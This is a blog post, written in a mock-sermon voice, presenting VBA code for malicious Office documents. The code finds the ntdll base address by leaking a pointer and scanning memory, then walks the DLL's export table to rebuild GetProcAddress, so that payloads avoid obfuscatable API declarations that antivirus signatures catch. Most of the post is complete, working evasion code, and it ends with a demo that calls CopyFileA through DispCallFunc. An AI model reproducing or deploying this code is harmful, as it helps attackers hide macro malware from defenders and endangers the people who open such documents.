Dear Fellowlship, today’s homily is about bending the ungodly language of VBA to reduce traces when writing sacrilegious prayers. Please, take a seat and listen to the story.
I promise my intention was to stay away from VBA for the rest of my life but sometimes the duty calls and you can not ignore it. Probably I need a therapist at this point of my life.
Months ago I released on Twitter a small snippet of code with an implementation of freshycalls technique to dynamically resolve System Service Numbers (a.k.a. syscalls numbers), so you avoid to hardcode the values in your payloads when syscalling from your maldoc. Something I did not like about my initial implementation is the fact that we can not obfuscate the NtQueryInformationProcess declaration:
Private Declare PtrSafe Function NtQueryInformationProcess Lib "NTDLL" ( _
ByVal hProcess As LongPtr, _
ByVal processInformationClass As Long, _
ByRef pProcessInformation As Any, _
ByVal uProcessInformationLength As Long, _
ByRef puReturnLength As LongPtr) As Long
Of course we can apply a light obfuscation, but is going to be sigged sooner or later. So, how can we avoid it?
Well, I only use it to get the PPEB_LDR_DATA and initiate the process of parsing the different structures until I get the export addresses. So if I can find an alternative way to get the dll base address of ntdll.dll I can avoid its usage. But VBA does not give you any tool to get this info directly (or at least I am not aware of it).
My theory is that if you use an inoffensive function (e.g. NtClose) inside a sub routine it will leave traces somewhere in memory and we will able to retrieve the pointer to NtClose. Using this pointer as a reference location we can start to scan backwards to find the DLL base address.
VBA is dark and full of terrors. I am not brave enough to light a torch and walk through their dark galleys. So I choose the most cowardly approach: create small snippets of code and scan the memory with Cheat Engine. After three trials I identified a reliable way (at least in my VM) to recover the address.
Basically I get the pointer of a variable used to store the output from NtClose and I apply an offset of -0x10 to read a pointer from here. If we read the memory at this pointer we get the location of NtClose:
Private Declare PtrSafe Sub CopyMemory Lib "KERNEL32" Alias "RtlMoveMemory" ( _
ByVal Destination As LongPtr, _
ByVal Source As LongPtr, _
ByVal Length As Long)
Private Declare PtrSafe Function NtClose Lib "ntdll" (ByVal ObjectHandle As LongPtr) As Long
Dim ret As Long
Function leak() As LongPtr
ret = NtClose(-1)
Dim funcLeak As LongPtr
Call CopyMemory(VarPtr(funcLeak), VarPtr(ret) - 16, 8)
leak = funcLeak
End Function
Sub sh()
MsgBox "NtClose @ 0x" + Hex(leak())
End Sub
Finally I only need to start reading group of bytes backward until we find the DLL start. To do it I save 8 bytes each time in a LongPtr variable and then I compare it with 12894362189 that is 4D 5A 90 00 03 00 00 00 (the classic MZ…. header):
Private Declare PtrSafe Sub CopyMemory Lib "KERNEL32" Alias "RtlMoveMemory" ( _
ByVal Destination As LongPtr, _
ByVal Source As LongPtr, _
ByVal Length As Long)
Private Declare PtrSafe Function NtClose Lib "ntdll" (ByVal ObjectHandle As LongPtr) As Long
Dim ret As Long
Function leak() As LongPtr
ret = NtClose(-1)
Dim funcLeak As LongPtr
Call CopyMemory(VarPtr(funcLeak), VarPtr(ret) - 16, 8)
leak = funcLeak
End Function
Function findntdll() As LongPtr
Dim check As LongPtr
Dim leaked As LongPtr
Dim i As LongPtr
leaked = leak()
For i = 0 To (leaked - 8)
Call CopyMemory(VarPtr(check), leaked - i, 8)
' 12894362189 == 00007FF889590000 4D 5A 90 00 03 00 00 00 MZ....
If check = 12894362189# Then
findntdll = leaked - i
Exit For
End If
Next i
End Function
Sub test()
MsgBox "ntdll.dll at 0x" + Hex(findntdll())
End Sub
If you checked my freshycalls code you can see that it can be repurposed easily to get the export addresses and construct our own GetProcAddress():
Option Explicit
Private Declare PtrSafe Function lstrlenW Lib "KERNEL32" (ByVal lpString As LongPtr) As Long
Private Declare PtrSafe Function lstrlenA Lib "KERNEL32" (ByVal lpString As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "KERNEL32" Alias "RtlMoveMemory" ( _
ByVal Destination As LongPtr, _
ByVal Source As LongPtr, _
ByVal Length As Long)
Private Declare PtrSafe Function NtClose Lib "ntdll" (ByVal ObjectHandle As LongPtr) As Long
Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(4 - 1) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(10 - 1) As Integer
e_lfanew As Long
End Type
Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
size As Long
End Type
Private Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUninitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
ImageBase As LongLong
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
Win32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
Subsystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As LongLong
SizeOfStackCommit As LongLong
SizeOfHeapReserve As LongLong
SizeOfHeapCommit As LongLong
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
End Type
Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
Characteristics As Integer
End Type
Private Type IMAGE_NT_HEADERS
Signature As Long 'DWORD Signature;
FileHeader As IMAGE_FILE_HEADER 'IMAGE_FILE_HEADER FileHeader;
OptionalHeader As IMAGE_OPTIONAL_HEADER 'IMAGE_OPTIONAL_HEADER OptionalHeader;
End Type
Dim ret As Long
Private Function StringFromPointerW(ByVal pointerToString As LongPtr) As String
Const BYTES_PER_CHAR As Integer = 2
Dim tmpBuffer() As Byte
Dim byteCount As Long
' determine size of source string in bytes
byteCount = lstrlenW(pointerToString) * BYTES_PER_CHAR
If byteCount > 0 Then
'Resize the buffer as required
ReDim tmpBuffer(0 To byteCount - 1) As Byte
' Copy the bytes from pointerToString to tmpBuffer
Call CopyMemory(VarPtr(tmpBuffer(0)), pointerToString, byteCount)
End If
'Straigth assigment Byte() to String possible - Both are Unicode!
StringFromPointerW = tmpBuffer
End Function
Public Function StringFromPointerA(ByVal pointerToString As LongPtr) As String
Dim tmpBuffer() As Byte
Dim byteCount As Long
Dim retVal As String
' determine size of source string in bytes
byteCount = lstrlenA(pointerToString)
If byteCount > 0 Then
' Resize the buffer as required
ReDim tmpBuffer(0 To byteCount - 1) As Byte
' Copy the bytes from pointerToString to tmpBuffer
Call CopyMemory(VarPtr(tmpBuffer(0)), pointerToString, byteCount)
End If
' Convert (ANSI) buffer to VBA string
retVal = StrConv(tmpBuffer, vbUnicode)
StringFromPointerA = retVal
End Function
Function leak() As LongPtr
ret = NtClose(-1)
Dim funcLeak As LongPtr
Call CopyMemory(VarPtr(funcLeak), VarPtr(ret) - 16, 8)
leak = funcLeak
End Function
Function findntdll() As LongPtr
Dim check As LongPtr
Dim leaked As LongPtr
Dim i As LongPtr
leaked = leak()
For i = 0 To (leaked - 8)
Call CopyMemory(VarPtr(check), leaked - i, 8)
' 12894362189 == 00007FF889590000 4D 5A 90 00 03 00 00 00 MZ....
If check = 12894362189# Then
findntdll = leaked - i
Exit For
End If
Next i
End Function
Sub walkExports()
Dim dllbase As LongPtr
Dim DosHeader As IMAGE_DOS_HEADER
Dim pNtHeaders As LongPtr
Dim ntHeader As IMAGE_NT_HEADERS
Dim DataDirectory As IMAGE_DATA_DIRECTORY
Dim IMAGE_EXPORT_DIRECTORY As LongPtr 'http://pinvoke.net/default.aspx/Structures.IMAGE_EXPORT_DIRECTORY
Dim NumberOfFunctions As Long
Dim NumberOfNames As Long
Dim FunctionsPtr As LongPtr
Dim NamesPtr As LongPtr
Dim OrdinalsPtr As LongPtr
Dim FunctionsOffset As Long
Dim NamesOffset As Long
Dim OrdinalsOffset As Long
Dim OrdinalBase As Long
' Get ntdll.dll base
dllbase = findntdll
' Get DOS Header
Call CopyMemory(VarPtr(DosHeader), dllbase, LenB(DosHeader))
' Get NtHeader
pNtHeaders = dllbase + DosHeader.e_lfanew
Call CopyMemory(VarPtr(ntHeader), pNtHeaders, LenB(ntHeader))
IMAGE_EXPORT_DIRECTORY = ntHeader.OptionalHeader.DataDirectory(0).VirtualAddress + dllbase
'Number of Functions pIMAGE_EXPORT_DIRECTORY + 0x14
Call CopyMemory(VarPtr(NumberOfFunctions), IMAGE_EXPORT_DIRECTORY + &H14, LenB(NumberOfFunctions))
'Number of Names pIMAGE_EXPORT_DIRECTORY + 0x18
Call CopyMemory(VarPtr(NumberOfNames), IMAGE_EXPORT_DIRECTORY + &H18, LenB(NumberOfNames))
'AddressOfFunctions pIMAGE_EXPORT_DIRECTORY + 0x1C
Call CopyMemory(VarPtr(FunctionsOffset), IMAGE_EXPORT_DIRECTORY + &H1C, LenB(FunctionsOffset))
FunctionsPtr = dllbase + FunctionsOffset
'AddressOfNames pIMAGE_EXPORT_DIRECTORY + 0x20
Call CopyMemory(VarPtr(NamesOffset), IMAGE_EXPORT_DIRECTORY + &H20, LenB(NamesOffset))
NamesPtr = dllbase + NamesOffset
'AddressOfNameOrdianls pIMAGE_EXPORT_DIRECTORY + 0x24
Call CopyMemory(VarPtr(OrdinalsOffset), IMAGE_EXPORT_DIRECTORY + &H24, LenB(OrdinalsOffset))
OrdinalsPtr = dllbase + OrdinalsOffset
'Ordinal Base pIMAGE_EXPORT_DIRECTORY + 0x10
Call CopyMemory(VarPtr(OrdinalBase), IMAGE_EXPORT_DIRECTORY + &H10, LenB(OrdinalBase))
Dim j As Long
Dim i As Long
j = 0
For i = 0 To NumberOfNames - 1
Dim tmpOffset As Long
Dim tmpName As String
Dim tmpOrd As Integer
' Get name
Call CopyMemory(VarPtr(tmpOffset), NamesPtr + (LenB(tmpOffset) * i), LenB(tmpOffset))
tmpName = StringFromPointerA(tmpOffset + dllbase)
Cells(j + 1, 1) = tmpName
'Get Ordinal
Call CopyMemory(VarPtr(tmpOrd), OrdinalsPtr + (LenB(tmpOrd) * i), LenB(tmpOrd))
Cells(j + 1, 2) = tmpOrd + OrdinalBase
'Get Address
tmpOffset = 0
Call CopyMemory(VarPtr(tmpOffset), FunctionsPtr + (LenB(tmpOffset) * tmpOrd), LenB(tmpOffset))
Cells(j + 1, 3) = Hex(tmpOffset + dllbase)
j = j + 1
Next i
End Sub
Now I have a poor man’s GetProcAddress(). Using the DispCallFunc trick is everything I need to call arbitrary functions from DLLs that are loaded in Excell process. For example, let’s combine all to move a file from Location A to Location B:
Option Explicit
Private Declare PtrSafe Function DispCallFunc Lib "OleAut32.dll" (ByVal pvInstance As Long, ByVal offsetinVft As LongPtr, ByVal CallConv As Long, ByVal retTYP As Integer, ByVal paCNT As Long, ByRef paTypes As Integer, ByRef paValues As LongPtr, ByRef retVAR As Variant) As Long
Private Declare PtrSafe Function lstrlenW Lib "kernel32" (ByVal lpString As LongPtr) As Long
Private Declare PtrSafe Function lstrlenA Lib "kernel32" (ByVal lpString As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" ( _
ByVal Destination As LongPtr, _
ByVal Source As LongPtr, _
ByVal Length As Long)
Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal ObjectHandle As LongPtr) As Long
Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(4 - 1) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(10 - 1) As Integer
e_lfanew As Long
End Type
Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
size As Long
End Type
Private Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUninitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
ImageBase As LongLong
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
Win32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
Subsystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As LongLong
SizeOfStackCommit As LongLong
SizeOfHeapReserve As LongLong
SizeOfHeapCommit As LongLong
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
End Type
Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
Characteristics As Integer
End Type
Private Type IMAGE_NT_HEADERS
Signature As Long 'DWORD Signature;
FileHeader As IMAGE_FILE_HEADER 'IMAGE_FILE_HEADER FileHeader;
OptionalHeader As IMAGE_OPTIONAL_HEADER 'IMAGE_OPTIONAL_HEADER OptionalHeader;
End Type
Dim ret As Long
Private Function StringFromPointerW(ByVal pointerToString As LongPtr) As String
Const BYTES_PER_CHAR As Integer = 2
Dim tmpBuffer() As Byte
Dim byteCount As Long
' determine size of source string in bytes
byteCount = lstrlenW(pointerToString) * BYTES_PER_CHAR
If byteCount > 0 Then
'Resize the buffer as required
ReDim tmpBuffer(0 To byteCount - 1) As Byte
' Copy the bytes from pointerToString to tmpBuffer
Call CopyMemory(VarPtr(tmpBuffer(0)), pointerToString, byteCount)
End If
'Straigth assigment Byte() to String possible - Both are Unicode!
StringFromPointerW = tmpBuffer
End Function
Public Function StringFromPointerA(ByVal pointerToString As LongPtr) As String
Dim tmpBuffer() As Byte
Dim byteCount As Long
Dim retVal As String
' determine size of source string in bytes
byteCount = lstrlenA(pointerToString)
If byteCount > 0 Then
' Resize the buffer as required
ReDim tmpBuffer(0 To byteCount - 1) As Byte
' Copy the bytes from pointerToString to tmpBuffer
Call CopyMemory(VarPtr(tmpBuffer(0)), pointerToString, byteCount)
End If
' Convert (ANSI) buffer to VBA string
retVal = StrConv(tmpBuffer, vbUnicode)
StringFromPointerA = retVal
End Function
Function leak() As LongPtr
ret = CloseHandle(-1)
Dim funcLeak As LongPtr
Call CopyMemory(VarPtr(funcLeak), VarPtr(ret) - 16, 8)
leak = funcLeak
End Function
Function findntdll() As LongPtr
Dim check As LongPtr
Dim leaked As LongPtr
Dim i As LongPtr
leaked = leak()
For i = 0 To (leaked - 8)
Call CopyMemory(VarPtr(check), leaked - i, 8)
' 12894362189 == 00007FF889590000 4D 5A 90 00 03 00 00 00 MZ....
If check = 12894362189# Then
findntdll = leaked - i
Exit For
End If
Next i
End Function
Private Function walkExports(dllbase As LongPtr, export As String)
Dim DosHeader As IMAGE_DOS_HEADER
Dim pNtHeaders As LongPtr
Dim ntHeader As IMAGE_NT_HEADERS
Dim DataDirectory As IMAGE_DATA_DIRECTORY
Dim IMAGE_EXPORT_DIRECTORY As LongPtr 'http://pinvoke.net/default.aspx/Structures.IMAGE_EXPORT_DIRECTORY
Dim NumberOfFunctions As Long
Dim NumberOfNames As Long
Dim FunctionsPtr As LongPtr
Dim NamesPtr As LongPtr
Dim OrdinalsPtr As LongPtr
Dim FunctionsOffset As Long
Dim NamesOffset As Long
Dim OrdinalsOffset As Long
Dim OrdinalBase As Long
' Get DOS Header
Call CopyMemory(VarPtr(DosHeader), dllbase, LenB(DosHeader))
' Get NtHeader
pNtHeaders = dllbase + DosHeader.e_lfanew
Call CopyMemory(VarPtr(ntHeader), pNtHeaders, LenB(ntHeader))
IMAGE_EXPORT_DIRECTORY = ntHeader.OptionalHeader.DataDirectory(0).VirtualAddress + dllbase
'Number of Functions pIMAGE_EXPORT_DIRECTORY + 0x14
Call CopyMemory(VarPtr(NumberOfFunctions), IMAGE_EXPORT_DIRECTORY + &H14, LenB(NumberOfFunctions))
'Number of Names pIMAGE_EXPORT_DIRECTORY + 0x18
Call CopyMemory(VarPtr(NumberOfNames), IMAGE_EXPORT_DIRECTORY + &H18, LenB(NumberOfNames))
'AddressOfFunctions pIMAGE_EXPORT_DIRECTORY + 0x1C
Call CopyMemory(VarPtr(FunctionsOffset), IMAGE_EXPORT_DIRECTORY + &H1C, LenB(FunctionsOffset))
FunctionsPtr = dllbase + FunctionsOffset
'AddressOfNames pIMAGE_EXPORT_DIRECTORY + 0x20
Call CopyMemory(VarPtr(NamesOffset), IMAGE_EXPORT_DIRECTORY + &H20, LenB(NamesOffset))
NamesPtr = dllbase + NamesOffset
'AddressOfNameOrdianls pIMAGE_EXPORT_DIRECTORY + 0x24
Call CopyMemory(VarPtr(OrdinalsOffset), IMAGE_EXPORT_DIRECTORY + &H24, LenB(OrdinalsOffset))
OrdinalsPtr = dllbase + OrdinalsOffset
'Ordinal Base pIMAGE_EXPORT_DIRECTORY + 0x10
Call CopyMemory(VarPtr(OrdinalBase), IMAGE_EXPORT_DIRECTORY + &H10, LenB(OrdinalBase))
Dim i As LongPtr
For i = 0 To NumberOfNames - 1
Dim tmpOffset As Long
Dim tmpName As String
Dim tmpOrd As Integer
' Get name
Call CopyMemory(VarPtr(tmpOffset), NamesPtr + (LenB(tmpOffset) * i), LenB(tmpOffset))
tmpName = StringFromPointerA(tmpOffset + dllbase)
'Get Ordinal
Call CopyMemory(VarPtr(tmpOrd), OrdinalsPtr + (LenB(tmpOrd) * i), LenB(tmpOrd))
'Get Address
tmpOffset = 0
Call CopyMemory(VarPtr(tmpOffset), FunctionsPtr + (LenB(tmpOffset) * tmpOrd), LenB(tmpOffset))
If tmpName = export Then
walkExports = tmpOffset + dllbase
Exit For
End If
Next i
End Function
Public Function stdCallA(address As LongPtr, ByVal RetType As VbVarType, ParamArray P() As Variant)
Dim CC_STDCALL As Integer
Dim VType(0 To 63) As Integer, VPtr(0 To 63) As LongPtr
Dim i As Long, pFunc As Long, V(), HRes As Long
ReDim V(0)
CC_STDCALL = 4
V = P
For i = 0 To UBound(V)
If VarType(P(i)) = vbString Then P(i) = StrConv(P(i), vbFromUnicode): V(i) = StrPtr(P(i))
VType(i) = VarType(V(i))
VPtr(i) = VarPtr(V(i))
Next i
HRes = DispCallFunc(0, address, CC_STDCALL, RetType, i, VType(0), VPtr(0), stdCallA)
End Function
Sub test()
Dim dllbase As LongPtr
Dim lResult As Long
Dim func01 As LongPtr 'CopyFileA
'Find kernel32.dll base
dllbase = findntdll
func01 = walkExports(dllbase, "CopyFileA")
MsgBox Hex(func01)
lResult = stdCallA(func01, vbLong, "C:\Users\vagrant\tests\TestA", "C:\Users\vagrant\tests\testB", 0)
End Sub
Is not beautiful?
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PS.: Remember to wear your NBQ suit before touching VBA